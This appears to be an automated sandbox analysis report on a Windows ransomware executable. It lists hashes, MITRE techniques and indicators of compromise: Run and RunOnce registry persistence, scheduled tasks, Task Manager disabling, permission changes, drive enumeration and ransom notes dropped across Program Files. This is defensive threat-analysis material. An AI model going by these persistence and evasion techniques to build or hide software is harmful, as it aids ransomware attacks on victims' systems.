e854205221b00c30bdffb4b11752d159ae8e00cdfedc102526d2e3ce6340de77

General

Target

e854205221b00c30bdffb4b11752d159ae8e00cdfedc102526d2e3ce6340de77.exe
Size

982KB
MD5

3bbc12e740224a4eb4e94a4f8702793b
SHA1

12ff5cc349c5e6e5501416f40049bdc4d776adcb
SHA256

e854205221b00c30bdffb4b11752d159ae8e00cdfedc102526d2e3ce6340de77
SHA512

2bc507a6636091c9e4eb0d56f2a81de3ba1037c7679cd31b6e1f767368cd9ed11e5f2165cbbc1fff4cc4fae89a733c7651c50228601132fe0448c12490563c42

Score

8^/10

discovery evasion persistence

Malware Config

Signatures

Disables Task Manager via registry modification
evasion
Modifies file permissions 1 TTPs 1 IoCs
discovery

File Permissions Modification
T1222

Processes:

icacls.exe

pid process

1888 icacls.exe

pid	process
1888	icacls.exe

Adds Run key to start application 2 TTPs 8 IoCs

persistence

Registry Run Keys / Startup Folder

T1060

Modify Registry

T1112

Processes:

reg.exereg.exereg.exereg.exe

description	ioc	process
Set value (str)	\REGISTRY\MACHINE\SOFTWARE\Wow6432Node\Microsoft\Windows\CurrentVersion\RunOnce\Michael Gillespie = "C:\\ProgramData\\XINOF.exe"	reg.exe
Key created	\REGISTRY\USER\S-1-5-21-293278959-2699126792-324916226-1000\SOFTWARE\Microsoft\Windows\CurrentVersion\RunOnce	reg.exe
Set value (str)	\REGISTRY\USER\S-1-5-21-293278959-2699126792-324916226-1000\Software\Microsoft\Windows\CurrentVersion\RunOnce\Michael Gillespie = "C:\\ProgramData\\XINOF.exe"	reg.exe
Key created	\REGISTRY\MACHINE\SOFTWARE\Wow6432Node\Microsoft\Windows\CurrentVersion\Run	reg.exe
Set value (str)	\REGISTRY\MACHINE\SOFTWARE\Wow6432Node\Microsoft\Windows\CurrentVersion\Run\Michael Gillespie = "C:\\ProgramData\\XINOF.exe"	reg.exe
Key created	\REGISTRY\USER\S-1-5-21-293278959-2699126792-324916226-1000\SOFTWARE\Microsoft\Windows\CurrentVersion\Run	reg.exe
Set value (str)	\REGISTRY\USER\S-1-5-21-293278959-2699126792-324916226-1000\Software\Microsoft\Windows\CurrentVersion\Run\Michael Gillespie = "C:\\ProgramData\\XINOF.exe"	reg.exe
Key created	\REGISTRY\MACHINE\SOFTWARE\Wow6432Node\Microsoft\Windows\CurrentVersion\RunOnce	reg.exe

Drops desktop.ini file(s) 2 IoCs

Processes:

e854205221b00c30bdffb4b11752d159ae8e00cdfedc102526d2e3ce6340de77.exe

description	ioc	process
File opened for modification	C:\Program Files\desktop.ini	e854205221b00c30bdffb4b11752d159ae8e00cdfedc102526d2e3ce6340de77.exe
File opened for modification	C:\Program Files\Common Files\Microsoft Shared\Stationery\Desktop.ini	e854205221b00c30bdffb4b11752d159ae8e00cdfedc102526d2e3ce6340de77.exe

Enumerates connected drives 3 TTPs 24 IoCs

Attempts to read the root path of hard drives other than the default C: drive.

Query Registry

T1012

Peripheral Device Discovery

T1120

System Information Discovery

T1082

Processes:

e854205221b00c30bdffb4b11752d159ae8e00cdfedc102526d2e3ce6340de77.exe

description	ioc	process
File opened (read-only)	\??\E:	e854205221b00c30bdffb4b11752d159ae8e00cdfedc102526d2e3ce6340de77.exe
File opened (read-only)	\??\L:	e854205221b00c30bdffb4b11752d159ae8e00cdfedc102526d2e3ce6340de77.exe
File opened (read-only)	\??\M:	e854205221b00c30bdffb4b11752d159ae8e00cdfedc102526d2e3ce6340de77.exe
File opened (read-only)	\??\A:	e854205221b00c30bdffb4b11752d159ae8e00cdfedc102526d2e3ce6340de77.exe
File opened (read-only)	\??\B:	e854205221b00c30bdffb4b11752d159ae8e00cdfedc102526d2e3ce6340de77.exe
File opened (read-only)	\??\S:	e854205221b00c30bdffb4b11752d159ae8e00cdfedc102526d2e3ce6340de77.exe
File opened (read-only)	\??\V:	e854205221b00c30bdffb4b11752d159ae8e00cdfedc102526d2e3ce6340de77.exe
File opened (read-only)	\??\H:	e854205221b00c30bdffb4b11752d159ae8e00cdfedc102526d2e3ce6340de77.exe
File opened (read-only)	\??\J:	e854205221b00c30bdffb4b11752d159ae8e00cdfedc102526d2e3ce6340de77.exe
File opened (read-only)	\??\K:	e854205221b00c30bdffb4b11752d159ae8e00cdfedc102526d2e3ce6340de77.exe
File opened (read-only)	\??\T:	e854205221b00c30bdffb4b11752d159ae8e00cdfedc102526d2e3ce6340de77.exe
File opened (read-only)	\??\U:	e854205221b00c30bdffb4b11752d159ae8e00cdfedc102526d2e3ce6340de77.exe
File opened (read-only)	\??\I:	e854205221b00c30bdffb4b11752d159ae8e00cdfedc102526d2e3ce6340de77.exe
File opened (read-only)	\??\O:	e854205221b00c30bdffb4b11752d159ae8e00cdfedc102526d2e3ce6340de77.exe
File opened (read-only)	\??\P:	e854205221b00c30bdffb4b11752d159ae8e00cdfedc102526d2e3ce6340de77.exe
File opened (read-only)	\??\W:	e854205221b00c30bdffb4b11752d159ae8e00cdfedc102526d2e3ce6340de77.exe
File opened (read-only)	\??\Y:	e854205221b00c30bdffb4b11752d159ae8e00cdfedc102526d2e3ce6340de77.exe
File opened (read-only)	\??\Z:	e854205221b00c30bdffb4b11752d159ae8e00cdfedc102526d2e3ce6340de77.exe
File opened (read-only)	\??\F:	e854205221b00c30bdffb4b11752d159ae8e00cdfedc102526d2e3ce6340de77.exe
File opened (read-only)	\??\G:	e854205221b00c30bdffb4b11752d159ae8e00cdfedc102526d2e3ce6340de77.exe
File opened (read-only)	\??\N:	e854205221b00c30bdffb4b11752d159ae8e00cdfedc102526d2e3ce6340de77.exe
File opened (read-only)	\??\Q:	e854205221b00c30bdffb4b11752d159ae8e00cdfedc102526d2e3ce6340de77.exe
File opened (read-only)	\??\R:	e854205221b00c30bdffb4b11752d159ae8e00cdfedc102526d2e3ce6340de77.exe
File opened (read-only)	\??\X:	e854205221b00c30bdffb4b11752d159ae8e00cdfedc102526d2e3ce6340de77.exe

Drops file in Program Files directory 4498 IoCs

Processes:

e854205221b00c30bdffb4b11752d159ae8e00cdfedc102526d2e3ce6340de77.exe

description	ioc	process
File opened for modification	C:\Program Files\DVD Maker\Shared\DvdStyles\Sports\SceneButtonInset_Alpha2.png	e854205221b00c30bdffb4b11752d159ae8e00cdfedc102526d2e3ce6340de77.exe
File created	C:\Program Files\Java\jdk1.7.0_80\lib\missioncontrol\features\com.jrockit.mc.feature.rcp_5.5.0.165303\Cpriv.key	e854205221b00c30bdffb4b11752d159ae8e00cdfedc102526d2e3ce6340de77.exe
File opened for modification	C:\Program Files\Java\jdk1.7.0_80\lib\visualvm\platform\update_tracking\org-netbeans-core-io-ui.xml	e854205221b00c30bdffb4b11752d159ae8e00cdfedc102526d2e3ce6340de77.exe
File created	C:\Program Files\Mozilla Firefox\defaults\How To Decrypt Files.hta	e854205221b00c30bdffb4b11752d159ae8e00cdfedc102526d2e3ce6340de77.exe
File created	C:\Program Files\Common Files\Microsoft Shared\OFFICE14\Help.txt	e854205221b00c30bdffb4b11752d159ae8e00cdfedc102526d2e3ce6340de77.exe
File opened for modification	C:\Program Files\Java\jre7\lib\security\java.policy	e854205221b00c30bdffb4b11752d159ae8e00cdfedc102526d2e3ce6340de77.exe
File opened for modification	C:\Program Files\Java\jre7\lib\zi\HST	e854205221b00c30bdffb4b11752d159ae8e00cdfedc102526d2e3ce6340de77.exe
File created	C:\Program Files\Common Files\Microsoft Shared\ink\Help.txt	e854205221b00c30bdffb4b11752d159ae8e00cdfedc102526d2e3ce6340de77.exe
File opened for modification	C:\Program Files\Common Files\Microsoft Shared\OfficeSoftwareProtectionPlatform\OSPPOBJS.DLL	e854205221b00c30bdffb4b11752d159ae8e00cdfedc102526d2e3ce6340de77.exe
File created	C:\Program Files\Java\jdk1.7.0_80\db\lib\Help.txt	e854205221b00c30bdffb4b11752d159ae8e00cdfedc102526d2e3ce6340de77.exe
File opened for modification	C:\Program Files\Java\jdk1.7.0_80\lib\missioncontrol\plugins\org.eclipse.core.net.nl_ja_4.4.0.v20140623020002.jar	e854205221b00c30bdffb4b11752d159ae8e00cdfedc102526d2e3ce6340de77.exe
File opened for modification	C:\Program Files\Java\jre7\Welcome.html	e854205221b00c30bdffb4b11752d159ae8e00cdfedc102526d2e3ce6340de77.exe
File opened for modification	C:\Program Files\Java\jre7\bin\deploy.dll	e854205221b00c30bdffb4b11752d159ae8e00cdfedc102526d2e3ce6340de77.exe
File opened for modification	C:\Program Files\Java\jre7\lib\zi\America\Santa_Isabel	e854205221b00c30bdffb4b11752d159ae8e00cdfedc102526d2e3ce6340de77.exe
File opened for modification	C:\Program Files\Common Files\Microsoft Shared\ink\en-US\IpsMigrationPlugin.dll.mui	e854205221b00c30bdffb4b11752d159ae8e00cdfedc102526d2e3ce6340de77.exe
File created	C:\Program Files\DVD Maker\Shared\DvdStyles\Rectangles\Help.txt	e854205221b00c30bdffb4b11752d159ae8e00cdfedc102526d2e3ce6340de77.exe
File opened for modification	C:\Program Files\Java\jdk1.7.0_80\jre\bin\jp2native.dll	e854205221b00c30bdffb4b11752d159ae8e00cdfedc102526d2e3ce6340de77.exe
File opened for modification	C:\Program Files\Java\jdk1.7.0_80\db\bin\derby_common.bat	e854205221b00c30bdffb4b11752d159ae8e00cdfedc102526d2e3ce6340de77.exe
File opened for modification	C:\Program Files\Java\jdk1.7.0_80\lib\missioncontrol\plugins\com.jrockit.mc.rjmx_5.5.0.165303\schema\com.jrockit.mc.rjmx.metadataprovider.exsd	e854205221b00c30bdffb4b11752d159ae8e00cdfedc102526d2e3ce6340de77.exe
File created	C:\Program Files\Java\jdk1.7.0_80\lib\visualvm\profiler\modules\locale\Help.txt	e854205221b00c30bdffb4b11752d159ae8e00cdfedc102526d2e3ce6340de77.exe
File opened for modification	C:\Program Files\Java\jre7\lib\zi\Europe\Minsk	e854205221b00c30bdffb4b11752d159ae8e00cdfedc102526d2e3ce6340de77.exe
File opened for modification	C:\Program Files\Java\jdk1.7.0_80\jre\lib\ext\dnsns.jar	e854205221b00c30bdffb4b11752d159ae8e00cdfedc102526d2e3ce6340de77.exe
File opened for modification	C:\Program Files\Java\jdk1.7.0_80\lib\missioncontrol\plugins\org.eclipse.equinox.p2.metadata.repository.nl_ja_4.4.0.v20140623020002.jar	e854205221b00c30bdffb4b11752d159ae8e00cdfedc102526d2e3ce6340de77.exe
File opened for modification	C:\Program Files\Java\jdk1.7.0_80\lib\visualvm\profiler\modules\locale\org-netbeans-lib-profiler_zh_CN.jar	e854205221b00c30bdffb4b11752d159ae8e00cdfedc102526d2e3ce6340de77.exe
File opened for modification	C:\Program Files\Mozilla Firefox\plugin-container.exe	e854205221b00c30bdffb4b11752d159ae8e00cdfedc102526d2e3ce6340de77.exe
File created	C:\Program Files\Common Files\Microsoft Shared\ink\fsdefinitions\oskmenu\Cpriv.key	e854205221b00c30bdffb4b11752d159ae8e00cdfedc102526d2e3ce6340de77.exe
File opened for modification	C:\Program Files\Java\jdk1.7.0_80\jre\lib\zi\America\Rankin_Inlet	e854205221b00c30bdffb4b11752d159ae8e00cdfedc102526d2e3ce6340de77.exe
File created	C:\Program Files\Java\jdk1.7.0_80\lib\visualvm\platform\config\Modules\Help.txt	e854205221b00c30bdffb4b11752d159ae8e00cdfedc102526d2e3ce6340de77.exe
File created	C:\Program Files\Java\jdk1.7.0_80\lib\visualvm\profiler\config\Cpriv.key	e854205221b00c30bdffb4b11752d159ae8e00cdfedc102526d2e3ce6340de77.exe
File opened for modification	C:\Program Files\Java\jre7\lib\zi\Asia\Omsk	e854205221b00c30bdffb4b11752d159ae8e00cdfedc102526d2e3ce6340de77.exe
File opened for modification	C:\Program Files\Common Files\Microsoft Shared\ink\hwrcommonlm.dat	e854205221b00c30bdffb4b11752d159ae8e00cdfedc102526d2e3ce6340de77.exe
File opened for modification	C:\Program Files\Java\jdk1.7.0_80\jre\lib\sound.properties	e854205221b00c30bdffb4b11752d159ae8e00cdfedc102526d2e3ce6340de77.exe
File created	C:\Program Files\Java\jdk1.7.0_80\lib\missioncontrol\features\org.eclipse.ecf.filetransfer.ssl.feature_1.0.0.v20140827-1444\Cpriv.key	e854205221b00c30bdffb4b11752d159ae8e00cdfedc102526d2e3ce6340de77.exe
File opened for modification	C:\Program Files\Java\jdk1.7.0_80\lib\visualvm\platform\update_tracking\org-openide-util-enumerations.xml	e854205221b00c30bdffb4b11752d159ae8e00cdfedc102526d2e3ce6340de77.exe
File opened for modification	C:\Program Files\Java\jre7\lib\zi\Asia\Novosibirsk	e854205221b00c30bdffb4b11752d159ae8e00cdfedc102526d2e3ce6340de77.exe
File opened for modification	C:\Program Files\DVD Maker\Shared\DvdStyles\BabyBoy\BabyBoyScenesBackground_PAL.wmv	e854205221b00c30bdffb4b11752d159ae8e00cdfedc102526d2e3ce6340de77.exe
File opened for modification	C:\Program Files\Java\jdk1.7.0_80\bin\apt.exe	e854205221b00c30bdffb4b11752d159ae8e00cdfedc102526d2e3ce6340de77.exe
File created	C:\Program Files\Java\jdk1.7.0_80\lib\visualvm\platform\modules\ext\Cpriv.key	e854205221b00c30bdffb4b11752d159ae8e00cdfedc102526d2e3ce6340de77.exe
File opened for modification	C:\Program Files\Java\jre7\bin\java_crw_demo.dll	e854205221b00c30bdffb4b11752d159ae8e00cdfedc102526d2e3ce6340de77.exe
File opened for modification	C:\Program Files\Java\jdk1.7.0_80\lib\visualvm\visualvm\config\Modules\com-sun-tools-visualvm-threaddump.xml	e854205221b00c30bdffb4b11752d159ae8e00cdfedc102526d2e3ce6340de77.exe
File created	C:\Program Files\Common Files\Microsoft Shared\ink\fsdefinitions\symbols\Help.txt	e854205221b00c30bdffb4b11752d159ae8e00cdfedc102526d2e3ce6340de77.exe
File opened for modification	C:\Program Files\Java\jdk1.7.0_80\lib\missioncontrol\features\org.eclipse.ecf.filetransfer.ssl.feature_1.0.0.v20140827-1444\META-INF\ECLIPSE_.SF	e854205221b00c30bdffb4b11752d159ae8e00cdfedc102526d2e3ce6340de77.exe
File opened for modification	C:\Program Files\Java\jdk1.7.0_80\lib\missioncontrol\plugins\org.apache.httpcomponents.httpclient_4.2.6.v201311072007.jar	e854205221b00c30bdffb4b11752d159ae8e00cdfedc102526d2e3ce6340de77.exe
File created	C:\Program Files\Java\jdk1.7.0_80\lib\visualvm\etc\How To Decrypt Files.hta	e854205221b00c30bdffb4b11752d159ae8e00cdfedc102526d2e3ce6340de77.exe
File opened for modification	C:\Program Files\Google\Chrome\Application\86.0.4240.111\Locales\es-419.pak	e854205221b00c30bdffb4b11752d159ae8e00cdfedc102526d2e3ce6340de77.exe
File opened for modification	C:\Program Files\Java\jdk1.7.0_80\bin\unpack200.exe	e854205221b00c30bdffb4b11752d159ae8e00cdfedc102526d2e3ce6340de77.exe
File created	C:\Program Files\Java\jdk1.7.0_80\jre\lib\zi\SystemV\How To Decrypt Files.hta	e854205221b00c30bdffb4b11752d159ae8e00cdfedc102526d2e3ce6340de77.exe
File created	C:\Program Files\Java\jdk1.7.0_80\lib\visualvm\profiler\lib\How To Decrypt Files.hta	e854205221b00c30bdffb4b11752d159ae8e00cdfedc102526d2e3ce6340de77.exe
File opened for modification	C:\Program Files\Java\jre7\lib\zi\Atlantic\Canary	e854205221b00c30bdffb4b11752d159ae8e00cdfedc102526d2e3ce6340de77.exe
File created	C:\Program Files\MSBuild\Microsoft\Windows Workflow Foundation\Help.txt	e854205221b00c30bdffb4b11752d159ae8e00cdfedc102526d2e3ce6340de77.exe
File opened for modification	C:\Program Files\DVD Maker\Shared\DvdStyles\16to9Squareframe_Buttongraphic.png	e854205221b00c30bdffb4b11752d159ae8e00cdfedc102526d2e3ce6340de77.exe
File opened for modification	C:\Program Files\DVD Maker\Shared\DvdStyles\Sports\SportsMainBackground.wmv	e854205221b00c30bdffb4b11752d159ae8e00cdfedc102526d2e3ce6340de77.exe
File opened for modification	C:\Program Files\Java\jdk1.7.0_80\jre\lib\zi\America\Rainy_River	e854205221b00c30bdffb4b11752d159ae8e00cdfedc102526d2e3ce6340de77.exe
File opened for modification	C:\Program Files\Java\jdk1.7.0_80\jre\lib\zi\Europe\Athens	e854205221b00c30bdffb4b11752d159ae8e00cdfedc102526d2e3ce6340de77.exe
File opened for modification	C:\Program Files\Java\jdk1.7.0_80\lib\visualvm\platform\modules\locale\org-netbeans-api-annotations-common_ja.jar	e854205221b00c30bdffb4b11752d159ae8e00cdfedc102526d2e3ce6340de77.exe
File opened for modification	C:\Program Files\Microsoft Office\Office14\Mso Example Setup File A.txt	e854205221b00c30bdffb4b11752d159ae8e00cdfedc102526d2e3ce6340de77.exe
File opened for modification	C:\Program Files\7-Zip\Lang\lt.txt	e854205221b00c30bdffb4b11752d159ae8e00cdfedc102526d2e3ce6340de77.exe
File opened for modification	C:\Program Files\Common Files\Microsoft Shared\ink\hr-HR\tipresx.dll.mui	e854205221b00c30bdffb4b11752d159ae8e00cdfedc102526d2e3ce6340de77.exe
File opened for modification	C:\Program Files\Java\jdk1.7.0_80\lib\missioncontrol\plugins\org.eclipse.ui.themes_1.0.1.v20140819-1717\css\e4-dark.css	e854205221b00c30bdffb4b11752d159ae8e00cdfedc102526d2e3ce6340de77.exe
File opened for modification	C:\Program Files\Java\jdk1.7.0_80\lib\visualvm\platform\modules\org-netbeans-modules-core-kit.jar	e854205221b00c30bdffb4b11752d159ae8e00cdfedc102526d2e3ce6340de77.exe
File opened for modification	C:\Program Files\Java\jre7\bin\WindowsAccessBridge-64.dll	e854205221b00c30bdffb4b11752d159ae8e00cdfedc102526d2e3ce6340de77.exe
File opened for modification	C:\Program Files\Java\jre7\lib\images\cursors\win32_MoveNoDrop32x32.gif	e854205221b00c30bdffb4b11752d159ae8e00cdfedc102526d2e3ce6340de77.exe
File opened for modification	C:\Program Files\Common Files\Microsoft Shared\ink\ipssrl.xml	e854205221b00c30bdffb4b11752d159ae8e00cdfedc102526d2e3ce6340de77.exe
File created	C:\Program Files\Common Files\Microsoft Shared\ink\zh-TW\Cpriv.key	e854205221b00c30bdffb4b11752d159ae8e00cdfedc102526d2e3ce6340de77.exe

Creates scheduled task(s) 1 TTPs 4 IoCs
Schtasks is often used by malware for persistence or to perform post-infection execution.
persistence

Scheduled Task
T1053

Processes:

schtasks.exeschtasks.exeschtasks.exeschtasks.exe

pid process

1992 schtasks.exe
668 schtasks.exe
1720 schtasks.exe
1796 schtasks.exe
Kills process with taskkill 1 IoCs
evasion

Processes:

taskkill.exe

pid process

1792 taskkill.exe

pid	process
1992	schtasks.exe
668	schtasks.exe
1720	schtasks.exe
1796	schtasks.exe

pid	process
1792	taskkill.exe

Suspicious behavior: EnumeratesProcesses 72 IoCs

Processes:

e854205221b00c30bdffb4b11752d159ae8e00cdfedc102526d2e3ce6340de77.exe

pid	process
1320	e854205221b00c30bdffb4b11752d159ae8e00cdfedc102526d2e3ce6340de77.exe
1320	e854205221b00c30bdffb4b11752d159ae8e00cdfedc102526d2e3ce6340de77.exe
1320	e854205221b00c30bdffb4b11752d159ae8e00cdfedc102526d2e3ce6340de77.exe
1320	e854205221b00c30bdffb4b11752d159ae8e00cdfedc102526d2e3ce6340de77.exe
1320	e854205221b00c30bdffb4b11752d159ae8e00cdfedc102526d2e3ce6340de77.exe
1320	e854205221b00c30bdffb4b11752d159ae8e00cdfedc102526d2e3ce6340de77.exe
1320	e854205221b00c30bdffb4b11752d159ae8e00cdfedc102526d2e3ce6340de77.exe
1320	e854205221b00c30bdffb4b11752d159ae8e00cdfedc102526d2e3ce6340de77.exe
1320	e854205221b00c30bdffb4b11752d159ae8e00cdfedc102526d2e3ce6340de77.exe
1320	e854205221b00c30bdffb4b11752d159ae8e00cdfedc102526d2e3ce6340de77.exe
1320	e854205221b00c30bdffb4b11752d159ae8e00cdfedc102526d2e3ce6340de77.exe
1320	e854205221b00c30bdffb4b11752d159ae8e00cdfedc102526d2e3ce6340de77.exe
1320	e854205221b00c30bdffb4b11752d159ae8e00cdfedc102526d2e3ce6340de77.exe
1320	e854205221b00c30bdffb4b11752d159ae8e00cdfedc102526d2e3ce6340de77.exe
1320	e854205221b00c30bdffb4b11752d159ae8e00cdfedc102526d2e3ce6340de77.exe
1320	e854205221b00c30bdffb4b11752d159ae8e00cdfedc102526d2e3ce6340de77.exe
1320	e854205221b00c30bdffb4b11752d159ae8e00cdfedc102526d2e3ce6340de77.exe
1320	e854205221b00c30bdffb4b11752d159ae8e00cdfedc102526d2e3ce6340de77.exe
1320	e854205221b00c30bdffb4b11752d159ae8e00cdfedc102526d2e3ce6340de77.exe
1320	e854205221b00c30bdffb4b11752d159ae8e00cdfedc102526d2e3ce6340de77.exe
1320	e854205221b00c30bdffb4b11752d159ae8e00cdfedc102526d2e3ce6340de77.exe
1320	e854205221b00c30bdffb4b11752d159ae8e00cdfedc102526d2e3ce6340de77.exe
1320	e854205221b00c30bdffb4b11752d159ae8e00cdfedc102526d2e3ce6340de77.exe
1320	e854205221b00c30bdffb4b11752d159ae8e00cdfedc102526d2e3ce6340de77.exe
1320	e854205221b00c30bdffb4b11752d159ae8e00cdfedc102526d2e3ce6340de77.exe
1320	e854205221b00c30bdffb4b11752d159ae8e00cdfedc102526d2e3ce6340de77.exe
1320	e854205221b00c30bdffb4b11752d159ae8e00cdfedc102526d2e3ce6340de77.exe
1320	e854205221b00c30bdffb4b11752d159ae8e00cdfedc102526d2e3ce6340de77.exe
1320	e854205221b00c30bdffb4b11752d159ae8e00cdfedc102526d2e3ce6340de77.exe
1320	e854205221b00c30bdffb4b11752d159ae8e00cdfedc102526d2e3ce6340de77.exe
1320	e854205221b00c30bdffb4b11752d159ae8e00cdfedc102526d2e3ce6340de77.exe
1320	e854205221b00c30bdffb4b11752d159ae8e00cdfedc102526d2e3ce6340de77.exe
1320	e854205221b00c30bdffb4b11752d159ae8e00cdfedc102526d2e3ce6340de77.exe
1320	e854205221b00c30bdffb4b11752d159ae8e00cdfedc102526d2e3ce6340de77.exe
1320	e854205221b00c30bdffb4b11752d159ae8e00cdfedc102526d2e3ce6340de77.exe
1320	e854205221b00c30bdffb4b11752d159ae8e00cdfedc102526d2e3ce6340de77.exe
1320	e854205221b00c30bdffb4b11752d159ae8e00cdfedc102526d2e3ce6340de77.exe
1320	e854205221b00c30bdffb4b11752d159ae8e00cdfedc102526d2e3ce6340de77.exe
1320	e854205221b00c30bdffb4b11752d159ae8e00cdfedc102526d2e3ce6340de77.exe
1320	e854205221b00c30bdffb4b11752d159ae8e00cdfedc102526d2e3ce6340de77.exe
1320	e854205221b00c30bdffb4b11752d159ae8e00cdfedc102526d2e3ce6340de77.exe
1320	e854205221b00c30bdffb4b11752d159ae8e00cdfedc102526d2e3ce6340de77.exe
1320	e854205221b00c30bdffb4b11752d159ae8e00cdfedc102526d2e3ce6340de77.exe
1320	e854205221b00c30bdffb4b11752d159ae8e00cdfedc102526d2e3ce6340de77.exe
1320	e854205221b00c30bdffb4b11752d159ae8e00cdfedc102526d2e3ce6340de77.exe
1320	e854205221b00c30bdffb4b11752d159ae8e00cdfedc102526d2e3ce6340de77.exe
1320	e854205221b00c30bdffb4b11752d159ae8e00cdfedc102526d2e3ce6340de77.exe
1320	e854205221b00c30bdffb4b11752d159ae8e00cdfedc102526d2e3ce6340de77.exe
1320	e854205221b00c30bdffb4b11752d159ae8e00cdfedc102526d2e3ce6340de77.exe
1320	e854205221b00c30bdffb4b11752d159ae8e00cdfedc102526d2e3ce6340de77.exe
1320	e854205221b00c30bdffb4b11752d159ae8e00cdfedc102526d2e3ce6340de77.exe
1320	e854205221b00c30bdffb4b11752d159ae8e00cdfedc102526d2e3ce6340de77.exe
1320	e854205221b00c30bdffb4b11752d159ae8e00cdfedc102526d2e3ce6340de77.exe
1320	e854205221b00c30bdffb4b11752d159ae8e00cdfedc102526d2e3ce6340de77.exe
1320	e854205221b00c30bdffb4b11752d159ae8e00cdfedc102526d2e3ce6340de77.exe
1320	e854205221b00c30bdffb4b11752d159ae8e00cdfedc102526d2e3ce6340de77.exe
1320	e854205221b00c30bdffb4b11752d159ae8e00cdfedc102526d2e3ce6340de77.exe
1320	e854205221b00c30bdffb4b11752d159ae8e00cdfedc102526d2e3ce6340de77.exe
1320	e854205221b00c30bdffb4b11752d159ae8e00cdfedc102526d2e3ce6340de77.exe
1320	e854205221b00c30bdffb4b11752d159ae8e00cdfedc102526d2e3ce6340de77.exe
1320	e854205221b00c30bdffb4b11752d159ae8e00cdfedc102526d2e3ce6340de77.exe
1320	e854205221b00c30bdffb4b11752d159ae8e00cdfedc102526d2e3ce6340de77.exe
1320	e854205221b00c30bdffb4b11752d159ae8e00cdfedc102526d2e3ce6340de77.exe
1320	e854205221b00c30bdffb4b11752d159ae8e00cdfedc102526d2e3ce6340de77.exe

Suspicious use of AdjustPrivilegeToken 1 IoCs

Processes:

taskkill.exe

description pid process

Token: SeDebugPrivilege 1792 taskkill.exe

description	pid	process
Token: SeDebugPrivilege	1792	taskkill.exe

Suspicious use of WriteProcessMemory 228 IoCs

Processes:

e854205221b00c30bdffb4b11752d159ae8e00cdfedc102526d2e3ce6340de77.execmd.execmd.execmd.execmd.execmd.execmd.execmd.exe

description	pid	process	target process
PID 1320 wrote to memory of 2004	1320	e854205221b00c30bdffb4b11752d159ae8e00cdfedc102526d2e3ce6340de77.exe	cmd.exe
PID 1320 wrote to memory of 2004	1320	e854205221b00c30bdffb4b11752d159ae8e00cdfedc102526d2e3ce6340de77.exe	cmd.exe
PID 1320 wrote to memory of 2004	1320	e854205221b00c30bdffb4b11752d159ae8e00cdfedc102526d2e3ce6340de77.exe	cmd.exe
PID 1320 wrote to memory of 2004	1320	e854205221b00c30bdffb4b11752d159ae8e00cdfedc102526d2e3ce6340de77.exe	cmd.exe
PID 2004 wrote to memory of 1160	2004	cmd.exe	chcp.com
PID 2004 wrote to memory of 1160	2004	cmd.exe	chcp.com
PID 2004 wrote to memory of 1160	2004	cmd.exe	chcp.com
PID 2004 wrote to memory of 1160	2004	cmd.exe	chcp.com
PID 1320 wrote to memory of 2036	1320	e854205221b00c30bdffb4b11752d159ae8e00cdfedc102526d2e3ce6340de77.exe	cmd.exe
PID 1320 wrote to memory of 2036	1320	e854205221b00c30bdffb4b11752d159ae8e00cdfedc102526d2e3ce6340de77.exe	cmd.exe
PID 1320 wrote to memory of 2036	1320	e854205221b00c30bdffb4b11752d159ae8e00cdfedc102526d2e3ce6340de77.exe	cmd.exe
PID 1320 wrote to memory of 2036	1320	e854205221b00c30bdffb4b11752d159ae8e00cdfedc102526d2e3ce6340de77.exe	cmd.exe
PID 2036 wrote to memory of 1992	2036	cmd.exe	schtasks.exe
PID 2036 wrote to memory of 1992	2036	cmd.exe	schtasks.exe
PID 2036 wrote to memory of 1992	2036	cmd.exe	schtasks.exe
PID 2036 wrote to memory of 1992	2036	cmd.exe	schtasks.exe
PID 1320 wrote to memory of 1972	1320	e854205221b00c30bdffb4b11752d159ae8e00cdfedc102526d2e3ce6340de77.exe	cmd.exe
PID 1320 wrote to memory of 1972	1320	e854205221b00c30bdffb4b11752d159ae8e00cdfedc102526d2e3ce6340de77.exe	cmd.exe
PID 1320 wrote to memory of 1972	1320	e854205221b00c30bdffb4b11752d159ae8e00cdfedc102526d2e3ce6340de77.exe	cmd.exe
PID 1320 wrote to memory of 1972	1320	e854205221b00c30bdffb4b11752d159ae8e00cdfedc102526d2e3ce6340de77.exe	cmd.exe
PID 1320 wrote to memory of 1984	1320	e854205221b00c30bdffb4b11752d159ae8e00cdfedc102526d2e3ce6340de77.exe	cmd.exe
PID 1320 wrote to memory of 1984	1320	e854205221b00c30bdffb4b11752d159ae8e00cdfedc102526d2e3ce6340de77.exe	cmd.exe
PID 1320 wrote to memory of 1984	1320	e854205221b00c30bdffb4b11752d159ae8e00cdfedc102526d2e3ce6340de77.exe	cmd.exe
PID 1320 wrote to memory of 1984	1320	e854205221b00c30bdffb4b11752d159ae8e00cdfedc102526d2e3ce6340de77.exe	cmd.exe
PID 1320 wrote to memory of 1968	1320	e854205221b00c30bdffb4b11752d159ae8e00cdfedc102526d2e3ce6340de77.exe	cmd.exe
PID 1320 wrote to memory of 1968	1320	e854205221b00c30bdffb4b11752d159ae8e00cdfedc102526d2e3ce6340de77.exe	cmd.exe
PID 1320 wrote to memory of 1968	1320	e854205221b00c30bdffb4b11752d159ae8e00cdfedc102526d2e3ce6340de77.exe	cmd.exe
PID 1320 wrote to memory of 1968	1320	e854205221b00c30bdffb4b11752d159ae8e00cdfedc102526d2e3ce6340de77.exe	cmd.exe
PID 1968 wrote to memory of 668	1968	cmd.exe	schtasks.exe
PID 1968 wrote to memory of 668	1968	cmd.exe	schtasks.exe
PID 1968 wrote to memory of 668	1968	cmd.exe	schtasks.exe
PID 1968 wrote to memory of 668	1968	cmd.exe	schtasks.exe
PID 1320 wrote to memory of 528	1320	e854205221b00c30bdffb4b11752d159ae8e00cdfedc102526d2e3ce6340de77.exe	cmd.exe
PID 1320 wrote to memory of 528	1320	e854205221b00c30bdffb4b11752d159ae8e00cdfedc102526d2e3ce6340de77.exe	cmd.exe
PID 1320 wrote to memory of 528	1320	e854205221b00c30bdffb4b11752d159ae8e00cdfedc102526d2e3ce6340de77.exe	cmd.exe
PID 1320 wrote to memory of 528	1320	e854205221b00c30bdffb4b11752d159ae8e00cdfedc102526d2e3ce6340de77.exe	cmd.exe
PID 528 wrote to memory of 884	528	cmd.exe	attrib.exe
PID 528 wrote to memory of 884	528	cmd.exe	attrib.exe
PID 528 wrote to memory of 884	528	cmd.exe	attrib.exe
PID 528 wrote to memory of 884	528	cmd.exe	attrib.exe
PID 1320 wrote to memory of 912	1320	e854205221b00c30bdffb4b11752d159ae8e00cdfedc102526d2e3ce6340de77.exe	cmd.exe
